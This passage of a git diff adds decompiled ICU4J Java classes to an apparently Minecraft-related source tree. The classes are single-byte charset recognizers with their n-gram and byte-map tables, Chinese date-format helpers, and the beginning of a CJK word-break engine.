+    CharsetRecog_8859_9_tr() {}
+    
+
+    public String getLanguage()
+    {
+      return "tr";
+    }
+    
+    public CharsetMatch match(CharsetDetector det)
+    {
+      String name = fC1Bytes ? "windows-1254" : "ISO-8859-9";
+      int confidence = match(det, ngrams, byteMap);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence, name, "tr");
+    }
+  }
+  
+  static class CharsetRecog_windows_1251 extends CharsetRecog_sbcs
+  {
+    private static int[] ngrams = { 2155040, 2155246, 2155758, 2156512, 2156576, 2157280, 2157294, 2158048, 2158053, 2158305, 2158574, 2158576, 2158816, 2159086, 2159090, 2159342, 2160626, 2162162, 14740968, 14742268, 14937632, 15068156, 15068648, 15069682, 15069728, 15212783, 15263008, 15263776, 15269664, 15459821, 15460384, 15465709, 15589408, 15590688, 15591653, 15591679, 15592992, 15593186, 15605986, 15605999, 15606001, 15655456, 15655648, 15655918, 15657248, 15657980, 15658016, 15659506, 15724267, 15724773, 15724776, 15724782, 15786210, 15787492, 15856352, 15856354, 15856360, 15859488, 15918571, 15920672, 15920880, 15924256, 16249582, 16512288 };
+    
+
+
+
+
+
+    private static byte[] byteMap = { 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, -112, -125, 32, -125, 32, 32, 32, 32, 32, 32, -102, 32, -100, -99, -98, -97, -112, 32, 32, 32, 32, 32, 32, 32, 32, 32, -102, 32, -100, -99, -98, -97, 32, -94, -94, -68, 32, -76, 32, 32, -72, 32, -70, 32, 32, 32, 32, -65, 32, 32, -77, -77, -76, -75, 32, 32, -72, 32, -70, 32, -68, -66, -66, -65, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, -9, -8, -7, -6, -5, -4, -3, -2, -1, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, -9, -8, -7, -6, -5, -4, -3, -2, -1 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CharsetRecog_windows_1251() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public String getName()
+    {
+      return "windows-1251";
+    }
+    
+    public String getLanguage()
+    {
+      return "ru";
+    }
+    
+    public CharsetMatch match(CharsetDetector det)
+    {
+      int confidence = match(det, ngrams, byteMap);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static class CharsetRecog_windows_1256 extends CharsetRecog_sbcs
+  {
+    private static int[] ngrams = { 2148321, 2148324, 2148551, 2153185, 2153965, 2154977, 2155492, 2156231, 13050055, 13091104, 13093408, 13095200, 13099296, 13099459, 13099463, 13099464, 13099466, 13099468, 13099469, 13099471, 13099475, 13099482, 13099486, 13099491, 13099494, 13099501, 13099808, 13100064, 13100234, 13115591, 13181127, 13181149, 13181153, 13181155, 13181158, 13246663, 13574343, 13617440, 13705415, 13748512, 13836487, 14295239, 14344684, 14544160, 14753991, 14797088, 14806048, 14806304, 14885063, 14927648, 14928160, 14935072, 14950599, 15016135, 15058720, 15124449, 15131680, 15474887, 15540423, 15540451, 15540454, 15583520, 15585568, 15590432 };
+    
+
+
+
+
+
+    private static byte[] byteMap = { 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, -127, 32, -125, 32, 32, 32, 32, -120, 32, -118, 32, -100, -115, -114, -113, -112, 32, 32, 32, 32, 32, 32, 32, -104, 32, -102, 32, -100, 32, 32, -97, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -86, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -75, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -64, -63, -62, -61, -60, -59, -58, -57, -56, -55, -54, -53, -52, -51, -50, -49, -48, -47, -46, -45, -44, -43, -42, 32, -40, -39, -38, -37, -36, -35, -34, -33, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, 32, 32, 32, 32, -12, 32, 32, 32, 32, -7, 32, -5, -4, 32, 32, -1 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CharsetRecog_windows_1256() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public String getName()
+    {
+      return "windows-1256";
+    }
+    
+    public String getLanguage()
+    {
+      return "ar";
+    }
+    
+    public CharsetMatch match(CharsetDetector det)
+    {
+      int confidence = match(det, ngrams, byteMap);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static class CharsetRecog_KOI8_R extends CharsetRecog_sbcs
+  {
+    private static int[] ngrams = { 2147535, 2148640, 2149313, 2149327, 2150081, 2150085, 2150338, 2150607, 2150610, 2151105, 2151375, 2151380, 2151631, 2152224, 2152399, 2153153, 2153684, 2154196, 12701385, 12702936, 12963032, 12963529, 12964820, 12964896, 13094688, 13181136, 13223200, 13224224, 13226272, 13419982, 13420832, 13424846, 13549856, 13550880, 13552069, 13552081, 13553440, 13553623, 13574352, 13574355, 13574359, 13617103, 13617696, 13618392, 13618464, 13620180, 13621024, 13621185, 13684684, 13685445, 13685449, 13685455, 13812183, 13813188, 13881632, 13882561, 13882569, 13882583, 13944268, 13946656, 13946834, 13948960, 14272544, 14603471 };
+    
+
+
+
+
+
+    private static byte[] byteMap = { 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -93, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -93, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -64, -63, -62, -61, -60, -59, -58, -57, -56, -55, -54, -53, -52, -51, -50, -49, -48, -47, -46, -45, -44, -43, -42, -41, -40, -39, -38, -37, -36, -35, -34, -33, -64, -63, -62, -61, -60, -59, -58, -57, -56, -55, -54, -53, -52, -51, -50, -49, -48, -47, -46, -45, -44, -43, -42, -41, -40, -39, -38, -37, -36, -35, -34, -33 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    CharsetRecog_KOI8_R() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public String getName()
+    {
+      return "KOI8-R";
+    }
+    
+    public String getLanguage()
+    {
+      return "ru";
+    }
+    
+    public CharsetMatch match(CharsetDetector det)
+    {
+      int confidence = match(det, ngrams, byteMap);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static abstract class CharsetRecog_IBM424_he extends CharsetRecog_sbcs
+  {
+    protected static byte[] byteMap = { 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 64, 64, 64, 64, 64, 64, 64, 81, 82, 83, 84, 85, 86, 87, 88, 89, 64, 64, 64, 64, 64, 64, 64, 64, 98, 99, 100, 101, 102, 103, 104, 105, 64, 64, 64, 64, 64, 64, 64, 113, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 0, 64, 64, 64, -127, -126, -125, -124, -123, -122, -121, -120, -119, 64, 64, 64, 64, 64, 64, 64, -111, -110, -109, -108, -107, -106, -105, -104, -103, 64, 64, 64, 64, 64, 64, -96, 64, -94, -93, -92, -91, -90, -89, -88, -87, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, -127, -126, -125, -124, -123, -122, -121, -120, -119, 64, 64, 64, 64, 64, 64, 64, -111, -110, -109, -108, -107, -106, -105, -104, -103, 64, 64, 64, 64, 64, 64, 64, 64, -94, -93, -92, -91, -90, -89, -88, -87, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64 };
+    
+
+
+
+
+
+
+
+
+    CharsetRecog_IBM424_he() {}
+    
+
+
+
+
+
+
+
+
+    public String getLanguage()
+    {
+      return "he";
+    }
+  }
+  
+  static class CharsetRecog_IBM424_he_rtl extends CharsetRecog_sbcs.CharsetRecog_IBM424_he {
+    CharsetRecog_IBM424_he_rtl() {}
+    
+    public String getName() { return "IBM424_rtl"; }
+    
+    private static int[] ngrams = { 4211014, 4211016, 4211025, 4211057, 4211281, 4211286, 4212033, 4212038, 4212049, 4212054, 4212066, 4212073, 4212081, 4215873, 4215877, 4216385, 4219476, 4221268, 4288832, 4538433, 4538434, 4538437, 4538452, 4538454, 4538473, 4539969, 4604224, 4609344, 4609856, 4614208, 4616512, 5324869, 5326144, 5326449, 5329237, 5330240, 5330752, 5335104, 5337408, 5521473, 5521477, 5521728, 5522752, 5587009, 5587010, 5587013, 5587028, 5587030, 5587049, 5653824, 5718085, 5784896, 5787968, 5787989, 6444096, 6832197, 6836565, 6902848, 7422017, 7422018, 7422021, 7422036, 7422038, 7422057 };
+    
+
+
+
+
+    public CharsetMatch match(CharsetDetector det)
+    {
+      int confidence = match(det, ngrams, byteMap, (byte)64);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static class CharsetRecog_IBM424_he_ltr extends CharsetRecog_sbcs.CharsetRecog_IBM424_he {
+    CharsetRecog_IBM424_he_ltr() {}
+    
+    public String getName() { return "IBM424_ltr"; }
+    
+    private static int[] ngrams = { 4211014, 4211028, 4212049, 4212052, 4212054, 4212056, 4215128, 4215906, 4215913, 4216134, 4216145, 4216646, 4216657, 4220998, 4221009, 4223297, 4223302, 4223313, 4276293, 4276308, 4276309, 4276337, 4277568, 4277829, 4281408, 4281920, 4341829, 4341845, 4341873, 4538437, 4538449, 4538452, 4538453, 4538455, 4538472, 4538481, 4543552, 4604224, 4605248, 4735296, 5325120, 5325376, 5326144, 5521477, 5521493, 5521521, 5530176, 5531968, 5591377, 5591384, 5591400, 5652549, 5652565, 5652593, 5653056, 5653824, 6440256, 6897733, 6897749, 6897777, 6899008, 7422272, 7423296, 7423569 };
+    
+
+
+
+
+
+    public CharsetMatch match(CharsetDetector det)
+    {
+      int confidence = match(det, ngrams, byteMap, (byte)64);
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static abstract class CharsetRecog_IBM420_ar
+    extends CharsetRecog_sbcs
+  {
+    protected static ArabicShaping as = new ArabicShaping(16);
+    
+    protected static byte[] byteMap = { 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 66, 67, 68, 69, 70, 71, 72, 73, 64, 64, 64, 64, 64, 64, 64, 81, 82, 64, 64, 85, 86, 87, 88, 89, 64, 64, 64, 64, 64, 64, 64, 64, 98, 99, 100, 101, 102, 103, 104, 105, 64, 64, 64, 64, 64, 64, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 64, 64, 64, 64, 64, 64, Byte.MIN_VALUE, -127, -126, -125, -124, -123, -122, -121, -120, -119, -118, -117, -116, -115, -114, -113, -112, -111, -110, -109, -108, -107, -106, -105, -104, -103, -102, -101, -100, -99, -98, -97, -96, 64, -94, -93, -92, -91, -90, -89, -88, -87, -86, -85, -84, -83, -82, -81, -80, -79, -78, -77, -76, -75, 64, 64, -72, -71, -70, -69, -68, -67, -66, -65, 64, -127, -126, -125, -124, -123, -122, -121, -120, -119, 64, -53, 64, -51, 64, -49, 64, -111, -110, -109, -108, -107, -106, -105, -104, -103, -38, -37, -36, -35, -34, -33, 64, 64, -94, -93, -92, -91, -90, -89, -88, -87, -22, -21, 64, -19, -18, -17, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, -5, -4, -3, -2, 64 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    protected static byte[] unshapeMap = { 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 66, 66, 68, 69, 70, 71, 71, 73, 74, 75, 76, 77, 78, 79, 80, 73, 82, 83, 84, 85, 86, 86, 88, 88, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 99, 101, 101, 103, 103, 105, 106, 107, 108, 109, 110, 111, 105, 113, 113, 115, 116, 117, 118, 119, 119, 121, 122, 123, 124, 125, 126, Byte.MAX_VALUE, Byte.MIN_VALUE, -127, -126, -125, -124, -123, -122, -121, -120, -119, Byte.MIN_VALUE, -117, -117, -115, -115, -113, -112, -111, -110, -109, -108, -107, -106, -105, -104, -103, -102, -102, -102, -102, -98, -98, -98, -95, -94, -93, -92, -91, -90, -89, -88, -87, -98, -85, -85, -83, -83, -81, -81, -79, -78, -77, -76, -75, -74, -73, -72, -71, -79, -69, -69, -67, -67, -65, -64, -63, -62, -61, -60, -59, -58, -57, -56, -55, -54, -65, -52, -65, -50, -49, -48, -47, -46, -45, -44, -43, -42, -41, -40, -39, -38, -38, -36, -36, -36, -33, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, -9, -8, -7, -6, -5, -4, -3, -2, -1 };
+    
+
+
+
+
+
+
+
+
+    CharsetRecog_IBM420_ar() {}
+    
+
+
+
+
+
+
+
+
+    public String getLanguage()
+    {
+      return "ar";
+    }
+    
+
+
+
+
+
+    byte[] unshape(byte[] inputBytes, int inputLen)
+    {
+      byte[] resultByteArr = unshapeLamAlef(inputBytes, inputLen);
+      
+      for (int i = 0; i < resultByteArr.length; i++) {
+        resultByteArr[i] = unshapeMap[(resultByteArr[i] & 0xFF)];
+      }
+      return resultByteArr;
+    }
+    
+    private byte[] unshapeLamAlef(byte[] inputBytes, int inputLen) {
+      ByteBuffer resultBigBuffer = ByteBuffer.allocate(inputLen * 2);
+      byte[] unshapedLamAlef = { -79, 86 };
+      
+      for (int i = 0; i < inputLen; i++) {
+        if (isLamAlef(inputBytes[i])) {
+          resultBigBuffer.put(unshapedLamAlef);
+        } else
+          resultBigBuffer.put(inputBytes[i]);
+      }
+      byte[] resultBuffer = new byte[resultBigBuffer.position()];
+      resultBigBuffer.position(0);
+      resultBigBuffer.get(resultBuffer);
+      return resultBuffer;
+    }
+    
+    private boolean isLamAlef(byte b) {
+      byte[] shapedLamAlef = { -78, -77, -76, -75, -73, -72 };
+      for (int i = 0; i < shapedLamAlef.length; i++)
+        if (b == shapedLamAlef[i])
+          return true;
+      return false;
+    }
+  }
+  
+  static class CharsetRecog_IBM420_ar_rtl extends CharsetRecog_sbcs.CharsetRecog_IBM420_ar
+  {
+    private static int[] ngrams = { 4216497, 4216509, 4216918, 4233905, 4238300, 4239793, 4242365, 4247382, 5652566, 5654080, 5661504, 5666112, 5681472, 5681481, 5681494, 5681496, 5681507, 5681511, 5681513, 5681523, 5681528, 5681562, 5681581, 5681595, 5681615, 5681628, 5684032, 5684544, 5684579, 5783638, 6438998, 6439083, 6439089, 6439099, 6439119, 6504534, 7553110, 7561792, 7684182, 7692864, 7880790, 10109014, 10138074, 11263040, 11616342, 11625024, 11655744, 11656256, 12271702, 12277312, 12280384, 12303680, 12402774, 12533846, 12539456, 13588145, 13614400, 14303318, 14434390, 14434491, 14434511, 14443072, 14447936, 14466368 };
+    
+
+
+    CharsetRecog_IBM420_ar_rtl() {}
+    
+
+    public String getName()
+    {
+      return "IBM420_rtl";
+    }
+    
+    public CharsetMatch match(CharsetDetector det) {
+      byte[] prev_fInputBytes = fInputBytes;
+      int prev_fInputLen = fInputLen;
+      fInputBytes = unshape(prev_fInputBytes, prev_fInputLen);
+      fInputLen = fInputBytes.length;
+      
+      int confidence = match(det, ngrams, byteMap, (byte)64);
+      
+      fInputBytes = prev_fInputBytes;
+      fInputLen = prev_fInputLen;
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+  
+  static class CharsetRecog_IBM420_ar_ltr extends CharsetRecog_sbcs.CharsetRecog_IBM420_ar
+  {
+    private static int[] ngrams = { 4212310, 4216507, 4216511, 4219507, 4219509, 4219569, 4219579, 4219612, 4219734, 4224342, 4224476, 4239702, 4242262, 4242774, 4242875, 4242895, 4242908, 4250289, 4250795, 4250801, 4829526, 5652566, 5652568, 5652578, 5652579, 5652595, 5652597, 5652600, 5652634, 5652657, 5652667, 5652669, 5652671, 5652698, 5652700, 5658688, 5681494, 5689152, 5812566, 6533462, 6536534, 6795606, 6926678, 7582038, 7909718, 10137942, 11223138, 11383126, 11616354, 11621952, 11622095, 11639360, 11645248, 12271714, 12271836, 12300630, 12408384, 12434240, 13582434, 13582556, 13611350, 14332314, 14461760, 14463318 };
+    
+
+
+    CharsetRecog_IBM420_ar_ltr() {}
+    
+
+    public String getName()
+    {
+      return "IBM420_ltr";
+    }
+    
+    public CharsetMatch match(CharsetDetector det) {
+      byte[] prev_fInputBytes = fInputBytes;
+      int prev_fInputLen = fInputLen;
+      fInputBytes = unshape(prev_fInputBytes, prev_fInputLen);
+      fInputLen = fInputBytes.length;
+      
+      int confidence = match(det, ngrams, byteMap, (byte)64);
+      
+      fInputBytes = prev_fInputBytes;
+      fInputLen = prev_fInputLen;
+      return confidence == 0 ? null : new CharsetMatch(det, this, confidence);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CharsetRecognizer.java b/src/minecraft/com/ibm/icu/text/CharsetRecognizer.java
new file mode 100644
index 0000000..c45bd8f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CharsetRecognizer.java
@@ -0,0 +1,40 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+abstract class CharsetRecognizer
+{
+  CharsetRecognizer() {}
+  
+
+
+
+
+
+
+
+
+  abstract String getName();
+  
+
+
+
+
+
+
+
+
+  public String getLanguage()
+  {
+    return null;
+  }
+  
+  abstract CharsetMatch match(CharsetDetector paramCharsetDetector);
+}
diff --git a/src/minecraft/com/ibm/icu/text/ChineseDateFormat.java b/src/minecraft/com/ibm/icu/text/ChineseDateFormat.java
new file mode 100644
index 0000000..9adfcbf
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/ChineseDateFormat.java
@@ -0,0 +1,234 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.util.Calendar;
+import com.ibm.icu.util.ChineseCalendar;
+import com.ibm.icu.util.TimeZone;
+import com.ibm.icu.util.ULocale;
+import java.io.InvalidObjectException;
+import java.text.FieldPosition;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public class ChineseDateFormat
+  extends SimpleDateFormat
+{
+  static final long serialVersionUID = -4610300753104099899L;
+  
+  /**
+   * @deprecated
+   */
+  public ChineseDateFormat(String pattern, Locale locale)
+  {
+    this(pattern, ULocale.forLocale(locale));
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public ChineseDateFormat(String pattern, ULocale locale)
+  {
+    this(pattern, null, locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public ChineseDateFormat(String pattern, String override, ULocale locale)
+  {
+    super(pattern, new ChineseDateFormatSymbols(locale), new ChineseCalendar(TimeZone.getDefault(), locale), locale, true, override);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected void subFormat(StringBuffer buf, char ch, int count, int beginOffset, int fieldNum, DisplayContext capitalizationContext, FieldPosition pos, Calendar cal)
+  {
+    super.subFormat(buf, ch, count, beginOffset, fieldNum, capitalizationContext, pos, cal);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected int subParse(String text, int start, char ch, int count, boolean obeyCount, boolean allowNegative, boolean[] ambiguousYear, Calendar cal)
+  {
+    return super.subParse(text, start, ch, count, obeyCount, allowNegative, ambiguousYear, cal);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected DateFormat.Field patternCharToDateFormatField(char ch)
+  {
+    return super.patternCharToDateFormatField(ch);
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static class Field
+    extends DateFormat.Field
+  {
+    private static final long serialVersionUID = -5102130532751400330L;
+    
+
+
+
+    /**
+     * @deprecated
+     */
+    public static final Field IS_LEAP_MONTH = new Field("is leap month", 22);
+    
+
+
+
+
+
+
+
+    /**
+     * @deprecated
+     */
+    protected Field(String name, int calendarField)
+    {
+      super(calendarField);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    /**
+     * @deprecated
+     */
+    public static DateFormat.Field ofCalendarField(int calendarField)
+    {
+      if (calendarField == 22) {
+        return IS_LEAP_MONTH;
+      }
+      return DateFormat.Field.ofCalendarField(calendarField);
+    }
+    
+
+    /**
+     * @deprecated
+     */
+    protected Object readResolve()
+      throws InvalidObjectException
+    {
+      if (getClass() != Field.class) {
+        throw new InvalidObjectException("A subclass of ChineseDateFormat.Field must implement readResolve.");
+      }
+      if (getName().equals(IS_LEAP_MONTH.getName())) {
+        return IS_LEAP_MONTH;
+      }
+      throw new InvalidObjectException("Unknown attribute name.");
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/ChineseDateFormatSymbols.java b/src/minecraft/com/ibm/icu/text/ChineseDateFormatSymbols.java
new file mode 100644
index 0000000..399beb2
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/ChineseDateFormatSymbols.java
@@ -0,0 +1,120 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.CalendarData;
+import com.ibm.icu.util.Calendar;
+import com.ibm.icu.util.ChineseCalendar;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public class ChineseDateFormatSymbols
+  extends DateFormatSymbols
+{
+  static final long serialVersionUID = 6827816119783952890L;
+  String[] isLeapMonth;
+  
+  /**
+   * @deprecated
+   */
+  public ChineseDateFormatSymbols()
+  {
+    this(ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public ChineseDateFormatSymbols(Locale locale)
+  {
+    super(ChineseCalendar.class, ULocale.forLocale(locale));
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public ChineseDateFormatSymbols(ULocale locale)
+  {
+    super(ChineseCalendar.class, locale);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public ChineseDateFormatSymbols(Calendar cal, Locale locale)
+  {
+    super(cal == null ? null : cal.getClass(), locale);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public ChineseDateFormatSymbols(Calendar cal, ULocale locale)
+  {
+    super(cal == null ? null : cal.getClass(), locale);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public String getLeapMonth(int leap)
+  {
+    return isLeapMonth[leap];
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected void initializeData(ULocale loc, CalendarData calData)
+  {
+    super.initializeData(loc, calData);
+    initializeIsLeapMonth();
+  }
+  
+  void initializeData(DateFormatSymbols dfs) {
+    super.initializeData(dfs);
+    if ((dfs instanceof ChineseDateFormatSymbols))
+    {
+      isLeapMonth = isLeapMonth;
+    } else {
+      initializeIsLeapMonth();
+    }
+  }
+  
+
+
+
+  private void initializeIsLeapMonth()
+  {
+    isLeapMonth = new String[2];
+    isLeapMonth[0] = "";
+    isLeapMonth[1] = (leapMonthPatterns != null ? leapMonthPatterns[0].replace("{0}", "") : "");
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CjkBreakEngine.java b/src/minecraft/com/ibm/icu/text/CjkBreakEngine.java
new file mode 100644
index 0000000..ca24871
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CjkBreakEngine.java
@@ -0,0 +1,220 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Assert;
+import com.ibm.icu.impl.CharacterIteration;
+import java.io.IOException;
+import java.text.CharacterIterator;
+import java.text.StringCharacterIterator;
+import java.util.Stack;
+
+
+
+
+
+
+
+
+class CjkBreakEngine
+  implements LanguageBreakEngine
+{
+  private static final UnicodeSet fHangulWordSet = new UnicodeSet();
+  private static final UnicodeSet fHanWordSet = new UnicodeSet();
+  private static final UnicodeSet fKatakanaWordSet = new UnicodeSet();
+  private static final UnicodeSet fHiraganaWordSet = new UnicodeSet();
+  
+  static { fHangulWordSet.applyPattern("[\\uac00-\\ud7a3]");
+    fHanWordSet.applyPattern("[:Han:]");
+    fKatakanaWordSet.applyPattern("[[:Katakana:]\\uff9e\\uff9f]");
+    fHiraganaWordSet.applyPattern("[:Hiragana:]");
+    
+
+    fHangulWordSet.freeze();
+    fHanWordSet.freeze();
+    fKatakanaWordSet.freeze();
+    fHiraganaWordSet.freeze();
+  }
+  
+  private final UnicodeSet fWordSet;
+  private DictionaryMatcher fDictionary = null;
+  private static final int kMaxKatakanaLength = 8;
+  
+  public CjkBreakEngine(boolean korean) throws IOException { fDictionary = DictionaryData.loadDictionaryFor("Hira");
+    if (korean) {
+      fWordSet = fHangulWordSet;
+    } else {
+      fWordSet = new UnicodeSet();
+      fWordSet.addAll(fHanWordSet);
+      fWordSet.addAll(fKatakanaWordSet);
+      fWordSet.addAll(fHiraganaWordSet);
+      fWordSet.add("\\uff70\\u30fc");
+    }
+  }
+  
+  public boolean handles(int c, int breakType) {
+    return (breakType == 1) && (fWordSet.contains(c));
+  }
+  
+
+  private static final int kMaxKatakanaGroupLength = 20;
+  private static final int maxSnlp = 255;
+  private static final int kint32max = Integer.MAX_VALUE;
+  private static int getKatakanaCost(int wordlength)
+  {
+    int[] katakanaCost = { 8192, 984, 408, 240, 204, 252, 300, 372, 480 };
+    return wordlength > 8 ? 8192 : katakanaCost[wordlength];
+  }
+  
+  private static boolean isKatakana(int value) {
+    return ((value >= 12449) && (value <= 12542) && (value != 12539)) || ((value >= 65382) && (value <= 65439));
+  }
+  
+
+  public int findBreaks(CharacterIterator inText, int startPos, int endPos, boolean reverse, int breakType, Stack<Integer> foundBreaks)
+  {
+    if (startPos >= endPos) {
+      return 0;
+    }
+    
+    inText.setIndex(startPos);
+    
+    int inputLength = endPos - startPos;
+    int[] charPositions = new int[inputLength + 1];
+    StringBuffer s = new StringBuffer("");
+    inText.setIndex(startPos);
+    while (inText.getIndex() < endPos) {
+      s.append(inText.current());
+      inText.next();
+    }
+    String prenormstr = s.toString();
+    boolean isNormalized = (Normalizer.quickCheck(prenormstr, Normalizer.NFKC) == Normalizer.YES) || (Normalizer.isNormalized(prenormstr, Normalizer.NFKC, 0));
